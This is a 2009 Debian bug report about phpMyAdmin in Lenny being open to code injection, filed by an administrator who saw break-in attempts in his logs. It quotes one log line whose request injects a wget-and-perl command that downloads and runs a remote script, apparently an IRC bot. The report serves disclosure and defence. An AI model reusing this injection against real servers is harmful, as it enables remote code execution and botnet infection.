[Secure-testing-team] Bug#535044: phpmyadmin: PHPMyAdmin seems to be vulnerable to some code injection

[Laurent CARON]

Package: phpmyadmin
Version: 4:2.11.8.1-5+lenny1
Severity: critical
Tags: security
Justification: root security hole



Hi,

After looking at my logs, I did notice a lot of attempts to break in
phpmyadmin through the following kind of url:

82.79.155.33 - - [29/Jun/2009:03:32:31 +0200] "GET //phpmyadmin//config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null&

It seems PHPMyAdmin shipped with Lenny is still vulnerable to this
remote exploit

It is basically an IRC bot

-- System Information:
Debian Release: 5.0.2
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 2.6.28.6-p390-20090217 (SMP w/4 CPU cores)
Locale: LANG=fr_FR at euro, LC_CTYPE=fr_FR at euro (charmap=ISO-8859-15)
Shell: /bin/sh linked to /bin/bash

Versions of packages phpmyadmin depends on:
ii  debconf [debconf-2 1.5.24                Debian configuration management sy
ii  libapache2-mod-php 5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti
ii  perl               5.10.0-19             Larry Wall's Practical Extraction 
ii  php5               5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti
ii  php5-cgi           5.2.6.dfsg.1-1+lenny3 server-side, HTML-embedded scripti
ii  php5-mcrypt        5.2.6.dfsg.1-1+lenny3 MCrypt module for php5
ii  php5-mysql         5.2.6.dfsg.1-1+lenny3 MySQL module for php5

Versions of packages phpmyadmin recommends:
ii  apache2            2.2.9-10+lenny3       Apache HTTP Server metapackage
ii  apache2-mpm-prefor 2.2.9-10+lenny3       Apache HTTP Server - traditional n
ii  php5-gd            5.2.6.dfsg.1-1+lenny3 GD module for php5

Versions of packages phpmyadmin suggests:
ii  mysql-server-5.0 [mysq 5.0.51a-24+lenny1 MySQL database server binaries

-- debconf information:
  phpmyadmin/setup-username: admin
* phpmyadmin/reconfigure-webserver:
  phpmyadmin/restart-webserver: false